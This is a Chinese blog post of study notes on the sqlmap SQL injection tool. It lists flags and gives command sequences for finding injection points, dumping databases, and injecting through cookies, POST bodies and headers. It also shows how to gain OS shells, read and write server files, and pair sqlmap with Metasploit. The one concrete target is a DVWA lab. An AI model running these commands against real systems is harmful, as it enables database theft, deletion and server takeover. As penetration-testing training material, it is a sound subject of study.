热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQLmap自动化注入工具命令详解(第28-29天实战演练)

SQL注入工具如SQLMap等在网络安全测试中广泛应用。SQLMap是一款开源的自动化SQL注入工具,支持12种不同的数据库,具体支持的数据库类型可在其插件目录中查看。作为当前最强大的注入工具之一,SQLMap在实际应用中具有极高的效率和准确性。

SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等

SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!

支持的注入类型:布尔  时间  报错  联合  堆查询   内联

可以获取用户名   密码  权限   角色     数据库(表   字段  内容)

可以爆破识别密文数据

getshell

命令执行

脱库/删库

 

内置文档介绍:

doc   介绍文档

extra     sqlmap额外的功能,运行cmd执行命令

lib   sqlmap的核心功能代码

plugins   包含12种数据库识别程序

data   存放一些攻击过程中使用的工具或者命令

procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

shell  远程命令和后门

txt  表名字典  列名字典   ua字典

udf  存放攻击载荷 payload

xml  存放检测的脚本

tamper   包含各种绕WAF的处理脚本

thirdparty  包含了第三方插件   颜色  优化  等等

 

SQLMAP工作流程:

1)初始化

2)开始检测

1>  检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmapoutput,可以指定存放目录    --output-dir 参数可以指定存放目录)

2>  解析URL,判断该URL是否可访问

3>  检测是否有WAF

sqlmup -u "目录URL" --identify-waf

sqlmap -u "目录URL" --check-waf

3)执行用户输入的参数

-u   指定URL

-p   指定参数

-v   指定显示的级别

-m   批量测试

-p   指定测试参数

-r   读取文件

--dbs   数据库

--current-db   当前数据库

--tables   表名

--columns   列名

--dump  获取数据

--batch   跳过问询(yes)直接执行

--DBMS   指定数据库类型

--current-user   当前数据库

--users   所有用户

--passwords   数据库密码

--hostname  系统名称

--baner   数据库信息

--roles   数据库用户角色

--level   测试等级

--delay 2   延时两秒注入

 

步骤详解

1)判断注入点:sqlmap -u "目标URL"     当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点

2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)

7COOKIE型注入

python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --COOKIE="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52" 

 

POST型注入的sqlmap利用方法

拦截数据包保存txt文件

python sqlmap.py -r post.txt -p "uname"  -r读取指定的文件,-p告诉sqlmap测试哪个参数)"

 

COOKIE注入

python sqlmap.py -r post_COOKIE.txt --level 2

python sqlmap.py -u "URL" --COOKIE="user=1" --level 2

--level=LEVEL  执行测试的等级(1-5,默认是1

 

XFF注入

python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

python sqlmap.py -r "post_xff.txt" --level 3

 

UA注入:

python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

 

伪静态注入:

python sqlmap.py -u "URL/1*.html"   加个*

 

-v 0-6

0、只显示python错误以及严重的信息

1、同事显示基本信息和警告信息(默认)

2、同事显示debug信息。

3、同事显示注入的payload(建议使用次级别,可)

 

--risk 0-3

0-3共有四个风险等级

 

批量测试:

  python sqlmap.py -m piliang.txt

 

SQLMAP注入点执行系统命令或者交互式shell

(条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}

sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

sqlmap.py -u "target_url" --os-shell    获取系统的shell

sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

sqlmap.py -u "target_url" --delay 2   延时两秒注入

sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

sqlmap.py -u "target_url" --sql-shell     反弹SQLshell

 

sqlmap直连mysql数据库

sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

 

sqlmap注入利用Access

Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

python sqlmap.py -u "target_url" --tables

 

sqlmapmsf结合使用

sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

msf存储路径:/usr/share/metasploit-framework

 

sqlmapBP的结合使用:

1、给BP代开抓包储存

技术分享图片

 

 

 

2、然后抓取目标URL

3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件"  -batch

-l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。

 

sqlmap读写文件

--file-read=(读取文件的绝对路径)  从后端的数据库管理系统文件读取文件(物理路径)

sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)

--file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)

 


推荐阅读
  • A题简单判断#includeusingnamespacestd;typedeflonglongll;intt;intmain(){cint;whil ... [详细]
  • Redis 教程01 —— 如何安装 Redis
    本文介绍了 Redis,这是一个由 Salvatore Sanfilippo 开发的键值存储系统。Redis 是一款开源且高性能的数据库,支持多种数据结构存储,并提供了丰富的功能和特性。 ... [详细]
  • 使用Inno Setup将EXE与JRE封装为Windows安装程序
    本文详细介绍了如何利用Inno Setup工具将EXE文件及Java运行环境(JRE)整合为适用于Windows操作系统的安装程序。我们将提供必要的软件下载链接,并逐步指导您完成整个打包过程。 ... [详细]
  • 本文介绍了在 Android 开发中如何实现像素 (px)、缩放独立像素 (sp) 和密度独立像素 (dp) 之间的相互转换。这些方法对于确保应用在不同屏幕尺寸和分辨率上的适配至关重要。 ... [详细]
  • 本文提供了中国三大主要通信运营商(中国联通、中国电信和中国移动)的官方邮箱服务网站链接,帮助用户快速访问并管理个人邮件,同时介绍了如何设置短信提醒功能。 ... [详细]
  • Linux环境下Memcached安装指南
    本文详细介绍如何在Linux虚拟机上安装Memcached,包括必要的依赖库安装,以及使用Xshell进行文件传输的具体步骤。 ... [详细]
  • 使用Adobe Illustrator打造独特的家族徽章:牡鹿图腾设计教程
    本文详细介绍了一种基于《权力的游戏》灵感,运用Adobe Illustrator创作独特家族图腾——牡鹿徽章的方法。本教程不仅展示了具体的步骤,还提供了多种技巧,帮助读者创作出既具个人特色又符合设计原则的作品。 ... [详细]
  • 本文介绍了一个简单的Python函数,该函数能够接收一个日期作为输入,并返回这一天是星期几。此功能通过使用Python的datetime模块实现。 ... [详细]
  • 深入理解FastDFS
    FastDFS是一款高效、简洁的分布式文件系统,广泛应用于互联网应用中,用于处理大量用户上传的文件,如图片、视频等。本文探讨了FastDFS的设计理念及其如何通过独特的架构设计提高性能和可靠性。 ... [详细]
  • 本文详细介绍了如何在VMware环境下安装CentOS 7 Minimal,并成功配置GNOME桌面环境的过程。包括解决网络连接问题和设置默认图形界面等关键步骤。 ... [详细]
  • 学习目的:1.了解android线程的使用2.了解主线程与子线程区别3.解析异步处理机制主线程与子线程:所谓主线程,在Windows窗体应用程序中一般指UI线程,这个是程序启动的时 ... [详细]
  • 在现代多线程编程中,Lock接口提供的灵活性和控制力超越了传统的synchronized关键字。Lock接口不仅使锁成为一个独立的对象,还提供了更细粒度的锁定机制,例如读写锁(ReadWriteLock)。本文将探讨如何利用ReentrantReadWriteLock提高并发性能。 ... [详细]
  • 本文通过具体示例探讨了在 C++ 中使用 extern "C" 的重要性及其作用,特别是如何影响编译后的对象文件中的符号名称。 ... [详细]
  • 本文详细介绍了如何在Arch Linux系统中安装和配置FlashTool,包括必要的依赖项安装和udev规则设置,以确保工具能够正确识别USB设备。 ... [详细]
  • 本文探讨了在一个UIViewController中同时存在两个或更多tableView时,若它们的初始Y坐标相同,则可能出现布局异常的问题,并深入解析了automaticallyAdjustsScrollViewInsets属性的作用及其设置方法。 ... [详细]
author-avatar
处女同乡会同乡情
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有